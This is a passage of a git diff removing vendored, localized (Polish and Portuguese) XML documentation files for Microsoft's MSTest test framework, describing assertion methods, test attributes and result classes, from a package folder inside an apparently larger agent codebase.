wyjątek, - jeśli dwie kolekcje są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja, co do której test oczekuje -, że nie będzie zgodna . - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Testuje, czy określone kolekcje są równe, i zgłasza wyjątek, - jeśli dwie kolekcje nie są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja oczekiwana przez test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Implementacja porównania do użycia podczas porównywania elementów kolekcji. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone kolekcje są równe, i zgłasza wyjątek, - jeśli dwie kolekcje nie są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja oczekiwana przez test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Implementacja porównania do użycia podczas porównywania elementów kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is not equal to - . - - - - - Testuje, czy określone kolekcje są równe, i zgłasza wyjątek, - jeśli dwie kolekcje nie są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja oczekiwana przez test. - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Implementacja porównania do użycia podczas porównywania elementów kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - nie jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is not equal to - . - - - - - Testuje, czy określone kolekcje są nierówne, i zgłasza wyjątek, - jeśli dwie kolekcje są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja, co do której test oczekuje -, że nie będzie zgodna . - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Implementacja porównania do użycia podczas porównywania elementów kolekcji. - - - Thrown if is equal to . - - - - - Testuje, czy określone kolekcje są nierówne, i zgłasza wyjątek, - jeśli dwie kolekcje są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja, co do której test oczekuje -, że nie będzie zgodna . - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Implementacja porównania do użycia podczas porównywania elementów kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Thrown if is equal to . - - - - - Testuje, czy określone kolekcje są nierówne, i zgłasza wyjątek, - jeśli dwie kolekcje są równe. Równość jest definiowana jako zawieranie tych samych - elementów w takim samym porządku i ilości. Różne odwołania do tej samej - wartości są uznawane za równe. - - - Pierwsza kolekcja do porównania. To jest kolekcja, co do której test oczekuje -, że nie będzie zgodna . - - - Druga kolekcja do porównania. To jest kolekcja utworzona przez - testowany kod. - - - Implementacja porównania do użycia podczas porównywania elementów kolekcji. - - - Komunikat do dołączenia do wyjątku, gdy element - jest równy elementowi . Komunikat jest wyświetlony - w wynikach testu. - - - Tablica parametrów do użycia podczas formatowania elementu . - - - Thrown if is equal to . - - - - - Określa, czy pierwsza kolekcja jest podzbiorem drugiej kolekcji. - Jeśli któryś zbiór zawiera zduplikowane elementy, liczba wystąpień - elementu w podzbiorze musi być mniejsza lub równa liczbie - wystąpień w nadzbiorze. - - - Kolekcja, co do której test oczekuje, że powinna być zawarta w . - - - Kolekcja, co do której test oczekuje, że powinna zawierać . - - - Wartość true, jeśli jest podzbiorem kolekcji - , w przeciwnym razie wartość false. - - - - - Tworzy słownik zawierający liczbę wystąpień każdego elementu - w określonej kolekcji. - - - Kolekcja do przetworzenia. - - - Liczba elementów o wartości null w kolekcji. - - - Słownik zawierający liczbę wystąpień każdego elementu - w określonej kolekcji. - - - - - Znajduje niezgodny element w dwóch kolekcjach. Niezgodny - element to ten, którego liczba wystąpień w oczekiwanej kolekcji - jest inna niż w rzeczywistej kolekcji. Kolekcje - są uznawane za różne odwołania o wartości innej niż null z tą samą - liczbą elementów. Obiekt wywołujący jest odpowiedzialny za ten poziom weryfikacji. - Jeśli nie ma żadnego niezgodnego elementu, funkcja zwraca wynik - false i parametry wyjściowe nie powinny być używane. - - - Pierwsza kolekcja do porównania. - - - Druga kolekcja do porównania. - - - Oczekiwana liczba wystąpień elementu - lub 0, jeśli nie ma żadnego niezgodnego - elementu. - - - Rzeczywista liczba wystąpień elementu - lub 0, jeśli nie ma żadnego niezgodnego - elementu. - - - Niezgodny element (może mieć wartość null) lub wartość null, jeśli - nie ma żadnego niezgodnego elementu. - - - wartość true, jeśli znaleziono niezgodny element; w przeciwnym razie wartość false. - - - - - porównuje obiekty przy użyciu funkcji object.Equals - - - - - Klasa podstawowa dla wyjątków struktury. - - - - - Inicjuje nowe wystąpienie klasy . - - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat. - Wyjątek. - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat. - - - - Silnie typizowana klasa zasobów do wyszukiwania zlokalizowanych ciągów itp. - - - - - Zwraca buforowane wystąpienie ResourceManager używane przez tę klasę. - - - - - Przesłania właściwość CurrentUICulture bieżącego wątku dla wszystkich - przypadków przeszukiwania zasobów za pomocą tej silnie typizowanej klasy zasobów. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Ciąg dostępu ma nieprawidłową składnię. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwana kolekcja zawiera następującą liczbę wystąpień elementu <{2}>: {1}. Rzeczywista kolekcja zawiera następującą liczbę wystąpień: {3}. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Znaleziono zduplikowany element: <{1}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwano: <{1}>. Przypadek jest inny w wartości rzeczywistej: <{2}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwano różnicy nie większej niż <{3}> między oczekiwaną wartością <{1}> i wartością rzeczywistą <{2}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwana wartość: <{1} ({2})>. Rzeczywista wartość: <{3} ({4})>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwana wartość: <{1}>. Rzeczywista wartość: <{2}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwano różnicy większej niż <{3}> między oczekiwaną wartością <{1}> a wartością rzeczywistą <{2}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwano dowolnej wartości z wyjątkiem: <{1}>. Wartość rzeczywista: <{2}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Nie przekazuj typów wartości do metody AreSame(). Wartości przekonwertowane na typ Object nigdy nie będą takie same. Rozważ użycie metody AreEqual(). {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: {0} — niepowodzenie. {1}. - - - - - Wyszukuje zlokalizowany ciąg podobny do asynchronicznej metody TestMethod z elementem UITestMethodAttribute, które nie są obsługiwane. Usuń element asynchroniczny lub użyj elementu TestMethodAttribute. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Obie kolekcje są puste. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Obie kolekcje zawierają te same elementy. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Odwołania do obu kolekcji wskazują ten sam obiekt kolekcji. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Obie kolekcje zawierają te same elementy. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: {0}({1}). - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: (null). - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: (object). - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Ciąg „{0}” nie zawiera ciągu „{1}”. {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: {0} ({1}). - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Nie można użyć metody Assert.Equals dla asercji. Zamiast tego użyj metody Assert.AreEqual i przeciążeń. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Liczba elementów w kolekcjach nie jest zgodna. Oczekiwana wartość: <{1}>. Wartość rzeczywista: <{2}>.{0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Element w indeksie {0} nie jest zgodny. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Element w indeksie {1} nie ma oczekiwanego typu. Oczekiwany typ: <{2}>. Rzeczywisty typ: <{3}>.{0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Element w indeksie {1} ma wartość (null). Oczekiwany typ: <{2}>.{0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Ciąg „{0}” nie kończy się ciągiem „{1}”. {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Nieprawidłowy argument. Element EqualsTester nie może używać wartości null. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Nie można przekonwertować obiektu typu {0} na typ {1}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Przywoływany obiekt wewnętrzny nie jest już prawidłowy. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Parametr „{0}” jest nieprawidłowy. {1}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Właściwość {0} ma typ {1}. Oczekiwano typu {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: {0} Oczekiwany typ: <{1}>. Rzeczywisty typ: <{2}>. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Ciąg „{0}” nie jest zgodny ze wzorcem „{1}”. {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Niepoprawny typ: <{1}>. Rzeczywisty typ: <{2}>. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Ciąg „{0}” jest zgodny ze wzorcem „{1}”. {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Nie określono atrybutu DataRowAttribute. Atrybut DataTestMethodAttribute wymaga co najmniej jednego atrybutu DataRowAttribute. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Nie zgłoszono wyjątku. Oczekiwany wyjątek: {1}. {0}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Parametr „{0}” jest nieprawidłowy. Wartość nie może być równa null. {1}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Inna liczba elementów. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: - Nie można odnaleźć konstruktora z określoną sygnaturą. Może być konieczne ponowne wygenerowanie prywatnej metody dostępu - lub element członkowski może być zdefiniowany jako prywatny w klasie podstawowej. W drugim przypadku należy przekazać typ, - który definiuje element członkowski w konstruktorze obiektu PrivateObject. - . - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: - Nie można odnaleźć określonego elementu członkowskiego ({0}). Może być konieczne ponowne wygenerowanie prywatnej metody dostępu - lub element członkowski może być zdefiniowany jako prywatny w klasie podstawowej. W drugim przypadku należy przekazać typ, - który definiuje element członkowski w konstruktorze obiektu PrivateObject. - . - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Ciąg „{0}” nie rozpoczyna się od ciągu „{1}”. {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Oczekiwanym typem wyjątku musi być typ System.Exception lub typ pochodzący od typu System.Exception. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: (Nie można pobrać komunikatu dotyczącego wyjątku typu {0} z powodu wyjątku). - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Metoda testowa nie zgłosiła oczekiwanego wyjątku {0}. {1}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Metoda testowa nie zgłosiła wyjątku. Wyjątek był oczekiwany przez atrybut {0} zdefiniowany w metodzie testowej. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Metoda testowa zgłosiła wyjątek {0}, ale oczekiwano wyjątku {1}. Komunikat o wyjątku: {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Metoda testowa zgłosiła wyjątek {0}, ale oczekiwano wyjątku {1} lub typu, który od niego pochodzi. Komunikat o wyjątku: {2}. - - - - - Wyszukuje zlokalizowany ciąg podobny do następującego: Zgłoszono wyjątek {2}, ale oczekiwano wyjątku {1}. {0} - Komunikat o wyjątku: {3} - Ślad stosu: {4}. - - - - - wyniki testu jednostkowego - - - - - Test został wykonany, ale wystąpiły problemy. - Problemy mogą obejmować wyjątki lub asercje zakończone niepowodzeniem. - - - - - Test został ukończony, ale nie można stwierdzić, czy zakończył się powodzeniem, czy niepowodzeniem. - Może być używany dla przerwanych testów. - - - - - Test został wykonany bez żadnych problemów. - - - - - Test jest obecnie wykonywany. - - - - - Wystąpił błąd systemu podczas próby wykonania testu. - - - - - Upłynął limit czasu testu. - - - - - Test został przerwany przez użytkownika. - - - - - Stan testu jest nieznany - - - - - Udostępnia funkcjonalność pomocnika dla platformy testów jednostkowych - - - - - Pobiera komunikaty wyjątku, w tym rekursywnie komunikaty wszystkich wewnętrznych - wyjątków - - Wyjątek, dla którego mają zostać pobrane komunikaty - ciąg z informacjami o komunikacie o błędzie - - - - Wyliczenie dla limitów czasu, które może być używane z klasą . - Typ wyliczenia musi być zgodny - - - - - Nieskończone. - - - - - Atrybut klasy testowej. - - - - - Pobiera atrybut metody testowej, który umożliwia uruchomienie tego testu. - - Wystąpienie atrybutu metody testowej zdefiniowane w tej metodzie. - do użycia do uruchamiania tego testu. - Extensions can override this method to customize how all methods in a class are run. - - - - Atrybut metody testowej. - - - - - Wykonuje metodę testową. - - Metoda testowa do wykonania. - Tablica obiektów TestResult reprezentujących wyniki testu. - Extensions can override this method to customize running a TestMethod. - - - - Atrybut inicjowania testu. - - - - - Atrybut oczyszczania testu. - - - - - Atrybut ignorowania. - - - - - Atrybut właściwości testu. - - - - - Inicjuje nowe wystąpienie klasy . - - - Nazwa. - - - Wartość. - - - - - Pobiera nazwę. - - - - - Pobiera wartość. - - - - - Atrybut inicjowania klasy. - - - - - Atrybut oczyszczania klasy. - - - - - Atrybut inicjowania zestawu. - - - - - Atrybut oczyszczania zestawu. - - - - - Właściciel testu - - - - - Inicjuje nowe wystąpienie klasy . - - - Właściciel. - - - - - Pobiera właściciela. - - - - - Atrybut priorytetu służący do określania priorytetu testu jednostkowego. - - - - - Inicjuje nowe wystąpienie klasy . - - - Priorytet. - - - - - Pobiera priorytet. - - - - - Opis testu - - - - - Inicjuje nowe wystąpienie klasy do opisu testu. - - Opis. - - - - Pobiera opis testu. - - - - - Identyfikator URI struktury projektu CSS - - - - - Inicjuje nowe wystąpienie klasy dla identyfikatora URI struktury projektu CSS. - - Identyfikator URI struktury projektu CSS. - - - - Pobiera identyfikator URI struktury projektu CSS. - - - - - Identyfikator URI iteracji CSS - - - - - Inicjuje nowe wystąpienie klasy dla identyfikatora URI iteracji CSS. - - Identyfikator URI iteracji CSS. - - - - Pobiera identyfikator URI iteracji CSS. - - - - - Atrybut elementu roboczego służący do określania elementu roboczego skojarzonego z tym testem. - - - - - Inicjuje nowe wystąpienie klasy dla atrybutu WorkItem. - - Identyfikator dla elementu roboczego. - - - - Pobiera identyfikator dla skojarzonego elementu roboczego. - - - - - Atrybut limitu czasu służący do określania limitu czasu testu jednostkowego. - - - - - Inicjuje nowe wystąpienie klasy . - - - Limit czasu. - - - - - Inicjuje nowe wystąpienie klasy ze wstępnie ustawionym limitem czasu - - - Limit czasu - - - - - Pobiera limit czasu. - - - - - Obiekt TestResult zwracany do adaptera. - - - - - Inicjuje nowe wystąpienie klasy . - - - - - Pobiera lub ustawia nazwę wyświetlaną wyniku. Przydatny w przypadku zwracania wielu wyników. - Jeśli ma wartość null, nazwa metody jest używana jako nazwa wyświetlana. - - - - - Pobiera lub ustawia wynik wykonania testu. - - - - - Pobiera lub ustawia wyjątek zgłoszony, gdy test kończy się niepowodzeniem. - - - - - Pobiera lub ustawia dane wyjściowe komunikatu rejestrowanego przez kod testu. - - - - - Pobiera lub ustawia dane wyjściowe komunikatu rejestrowanego przez kod testu. - - - - - Pobiera lub ustawia ślady debugowania przez kod testu. - - - - - Gets or sets the debug traces by test code. - - - - - Pobiera lub ustawia czas trwania wykonania testu. - - - - - Pobiera lub ustawia indeks wiersza danych w źródle danych. Ustawia tylko dla wyników oddzielnych - uruchomień wiersza danych w teście opartym na danych. - - - - - Pobiera lub ustawia wartość zwracaną metody testowej. (Obecnie zawsze wartość null). - - - - - Pobiera lub ustawia pliki wyników dołączone przez test. - - - - - Określa parametry połączenia, nazwę tabeli i metodę dostępu do wiersza w przypadku testowania opartego na danych. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Nazwa domyślnego dostawcy dla źródła danych. - - - - - Domyślna metoda uzyskiwania dostępu do danych. - - - - - Inicjuje nowe wystąpienie klasy . To wystąpienie zostanie zainicjowane z dostawcą danych, parametrami połączenia, tabelą danych i metodą dostępu do danych w celu uzyskania dostępu do źródła danych. - - Niezmienna nazwa dostawcy danych, taka jak System.Data.SqlClient - - Parametry połączenia specyficzne dla dostawcy danych. - OSTRZEŻENIE: parametry połączenia mogą zawierać poufne dane (na przykład hasło). - Parametry połączenia są przechowywane w postaci zwykłego tekstu w kodzie źródłowym i w skompilowanym zestawie. - Należy ograniczyć dostęp do kodu źródłowego i zestawu, aby chronić te poufne informacje. - - Nazwa tabeli danych. - Określa kolejność dostępu do danych. - - - - Inicjuje nowe wystąpienie klasy . To wystąpienie zostanie zainicjowane z parametrami połączenia i nazwą tabeli. - Określ parametry połączenia i tabelę danych w celu uzyskania dostępu do źródła danych OLEDB. - - - Parametry połączenia specyficzne dla dostawcy danych. - OSTRZEŻENIE: parametry połączenia mogą zawierać poufne dane (na przykład hasło). - Parametry połączenia są przechowywane w postaci zwykłego tekstu w kodzie źródłowym i w skompilowanym zestawie. - Należy ograniczyć dostęp do kodu źródłowego i zestawu, aby chronić te poufne informacje. - - Nazwa tabeli danych. - - - - Inicjuje nowe wystąpienie klasy . To wystąpienie zostanie zainicjowane z dostawcą danych i parametrami połączenia skojarzonymi z nazwą ustawienia. - - Nazwa źródła danych znaleziona w sekcji <microsoft.visualstudio.qualitytools> pliku app.config. - - - - Pobiera wartość reprezentującą dostawcę danych źródła danych. - - - Nazwa dostawcy danych. Jeśli dostawca danych nie został wyznaczony w czasie inicjowania obiektu, zostanie zwrócony domyślny dostawca obiektu System.Data.OleDb. - - - - - Pobiera wartość reprezentującą parametry połączenia dla źródła danych. - - - - - Pobiera wartość wskazującą nazwę tabeli udostępniającej dane. - - - - - Pobiera metodę używaną do uzyskiwania dostępu do źródła danych. - - - - Jedna z . Jeśli nie zainicjowano , zwróci wartość domyślną . - - - - - Pobiera nazwę źródła danych znajdującego się w sekcji <microsoft.visualstudio.qualitytools> w pliku app.config. - - - - - Atrybut dla testu opartego na danych, w którym dane można określić bezpośrednio. - - - - - Znajdź wszystkie wiersze danych i wykonaj. - - - Metoda testowa. - - - Tablica elementów . - - - - - Uruchamianie metody testowej dla testu opartego na danych. - - Metoda testowa do wykonania. - Wiersz danych. - Wyniki wykonania. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/pt/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/pt/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index d5c4cce3..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/pt/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,113 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Usado para especificar o item de implantação (arquivo ou diretório) para implantação por teste. - Pode ser especificado em classe de teste ou em método de teste. - Pode ter várias instâncias do atributo para especificar mais de um item. - O caminho do item pode ser absoluto ou relativo. Se relativo, é relativo a RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - Putting this in here so that UWP discovery works. We still do not want users to be using DeploymentItem in the UWP world - Hence making it internal. - We should separate out DeploymentItem logic in the adapter via a Framework extensiblity point. - Filed https://github.com/Microsoft/testfx/issues/100 to track this. - - - - - Inicializa uma nova instância da classe . - - O arquivo ou o diretório a ser implantado. O caminho é relativo ao diretório de saída do build. O item será copiado para o mesmo diretório que o dos assemblies de teste implantados. - - - - Inicializa uma nova instância da classe - - O caminho relativo ou absoluto ao arquivo ou ao diretório a ser implantado. O caminho é relativo ao diretório de saída do build. O item será copiado para o mesmo diretório que o dos assemblies de teste implantados. - O caminho do diretório para o qual os itens deverão ser copiados. Ele pode ser absoluto ou relativo ao diretório de implantação. Todos os arquivos e diretórios identificados por serão copiados para esse diretório. - - - - Obtém o caminho da pasta ou do arquivo de origem a ser copiado. - - - - - Obtém o caminho do diretório para o qual o item é copiado. - - - - - Executar código de teste no thread da Interface do Usuário para Aplicativos da Windows Store. - - - - - Executa o método de teste no Thread da Interface do Usuário. - - - O Método de teste. - - - Uma matriz de instâncias. - - Throws when run on an async test method. - - - - - Classe TestContext. Essa classe deve ser totalmente abstrata e não conter nenhum - membro. O adaptador implementará os membros. Os usuários na estrutura devem - acessá-la somente por meio de uma interface bem definida. - - - - - Obtém as propriedades de teste para um teste. - - - - - Obtém o Nome totalmente qualificado da classe contendo o método de teste executado no momento - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Obtém o Nome do método de teste executado no momento - - - - - Obtém o resultado do teste atual. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/pt/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/pt/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 2b63dd5e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/pt/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - O TestMethod para a execução. - - - - - Obtém o nome do método de teste. - - - - - Obtém o nome da classe de teste. - - - - - Obtém o tipo de retorno do método de teste. - - - - - Obtém os parâmetros do método de teste. - - - - - Obtém o methodInfo para o método de teste. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Invoca o método de teste. - - - Argumentos a serem passados ao método de teste. (Por exemplo, para testes controlados por dados) - - - Resultado da invocação do método de teste. - - - This call handles asynchronous test methods as well. - - - - - Obter todos os atributos do método de teste. - - - Se o atributo definido na classe pai é válido. - - - Todos os atributos. - - - - - Obter atributo de tipo específico. - - System.Attribute type. - - Se o atributo definido na classe pai é válido. - - - Os atributos do tipo especificado. - - - - - O auxiliar. - - - - - O parâmetro de verificação não nulo. - - - O parâmetro. - - - O nome do parâmetro. - - - A mensagem. - - Throws argument null exception when parameter is null. - - - - O parâmetro de verificação não nulo nem vazio. - - - O parâmetro. - - - O nome do parâmetro. - - - A mensagem. - - Throws ArgumentException when parameter is null. - - - - Enumeração para como acessamos as linhas de dados no teste controlado por dados. - - - - - As linhas são retornadas em ordem sequencial. - - - - - As linhas são retornadas em ordem aleatória. - - - - - O atributo para definir dados embutidos para um método de teste. - - - - - Inicializa uma nova instância da classe . - - O objeto de dados. - - - - Inicializa a nova instância da classe que ocupa uma matriz de argumentos. - - Um objeto de dados. - Mais dados. - - - - Obtém Dados para chamar o método de teste. - - - - - Obtém ou define o nome de exibição nos resultados de teste para personalização. - - - - - A exceção inconclusiva da asserção. - - - - - Inicializa uma nova instância da classe . - - A mensagem. - A exceção. - - - - Inicializa uma nova instância da classe . - - A mensagem. - - - - Inicializa uma nova instância da classe . - - - - - Classe InternalTestFailureException. Usada para indicar falha interna de um caso de teste - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - Inicializa uma nova instância da classe . - - A mensagem de exceção. - A exceção. - - - - Inicializa uma nova instância da classe . - - A mensagem de exceção. - - - - Inicializa uma nova instância da classe . - - - - - Atributo que especifica que uma exceção do tipo especificado é esperada - - - - - Inicializa uma nova instância da classe com o tipo especificado - - Tipo da exceção esperada - - - - Inicializa uma nova instância da classe com - o tipo esperado e a mensagem a ser incluída quando nenhuma exceção é gerada pelo teste. - - Tipo da exceção esperada - - Mensagem a ser incluída no resultado do teste se ele falhar por não gerar uma exceção - - - - - Obtém um valor que indica o Tipo da exceção esperada - - - - - Obtém ou define um valor que indica se é para permitir tipos derivados do tipo da exceção esperada para - qualificá-la como esperada - - - - - Obtém a mensagem a ser incluída no resultado do teste caso o teste falhe devido à não geração de uma exceção - - - - - Verifica se o tipo da exceção gerada pelo teste de unidade é esperado - - A exceção gerada pelo teste de unidade - - - - Classe base para atributos que especificam que uma exceção de um teste de unidade é esperada - - - - - Inicializa uma nova instância da classe com uma mensagem de não exceção padrão - - - - - Inicializa a nova instância da classe com uma mensagem de não exceção - - - Mensagem a ser incluída no resultado do teste se ele falhar por não gerar uma - exceção - - - - - Obtém a mensagem a ser incluída no resultado do teste caso o teste falhe devido à não geração de uma exceção - - - - - Obtém a mensagem a ser incluída no resultado do teste caso o teste falhe devido à não geração de uma exceção - - - - - Obtém a mensagem de não exceção padrão - - O nome do tipo de atributo ExpectedException - A mensagem de não exceção padrão - - - - Determina se uma exceção é esperada. Se o método é retornado, entende-se - que a exceção era esperada. Se o método gera uma exceção, entende-se - que a exceção não era esperada e a mensagem de exceção gerada - é incluída no resultado do teste. A classe pode ser usada para - conveniência. Se é usada e há falha de asserção, - o resultado do teste é definido como Inconclusivo. - - A exceção gerada pelo teste de unidade - - - - Gerar a exceção novamente se for uma AssertFailedException ou uma AssertInconclusiveException - - A exceção a ser gerada novamente se for uma exceção de asserção - - - - Essa classe é projetada para ajudar o usuário a executar o teste de unidade para os tipos que usam tipos genéricos. - GenericParameterHelper satisfaz algumas restrições comuns de tipos genéricos, - como: - 1. construtor público padrão - 2. implementa interface comum: IComparable, IEnumerable - - - - - Inicializa a nova instância da classe que - satisfaz a restrição 'newable' em genéricos C#. - - - This constructor initializes the Data property to a random value. - - - - - Inicializa a nova instância da classe que - inicializa a propriedade Data para um valor fornecido pelo usuário. - - Qualquer valor inteiro - - - - Obtém ou define Data - - - - - Executa a comparação de valores de dois objetos GenericParameterHelper - - objeto com o qual comparar - verdadeiro se o objeto tem o mesmo valor que 'esse' objeto GenericParameterHelper. - Caso contrário, falso. - - - - Retorna um código hash para esse objeto. - - O código hash. - - - - Compara os dados dos dois objetos . - - O objeto com o qual comparar. - - Um número assinado indicando os valores relativos dessa instância e valor. - - - Thrown when the object passed in is not an instance of . - - - - - Retorna um objeto IEnumerator cujo comprimento é derivado - da propriedade Data. - - O objeto IEnumerator - - - - Retorna um objeto GenericParameterHelper que é igual ao - objeto atual. - - O objeto clonado. - - - - Permite que usuários registrem/gravem rastros de testes de unidade para diagnósticos. - - - - - Manipulador para LogMessage. - - Mensagem a ser registrada. - - - - Evento a ser escutado. Acionado quando o gerador do teste de unidade escreve alguma mensagem. - Principalmente para ser consumido pelo adaptador. - - - - - API para o gravador de teste chamar Registrar mensagens. - - Formato de cadeia de caracteres com espaços reservados. - Parâmetros dos espaços reservados. - - - - Atributo TestCategory. Usado para especificar a categoria de um teste de unidade. - - - - - Inicializa a nova instância da classe e aplica a categoria ao teste. - - - A Categoria de teste. - - - - - Obtém as categorias de teste aplicadas ao teste. - - - - - Classe base para o atributo "Category" - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Inicializa a nova instância da classe . - Aplica a categoria ao teste. As cadeias de caracteres retornadas por TestCategories - são usadas com o comando /category para filtrar os testes - - - - - Obtém a categoria de teste aplicada ao teste. - - - - - Classe AssertFailedException. Usada para indicar falha em um caso de teste - - - - - Inicializa uma 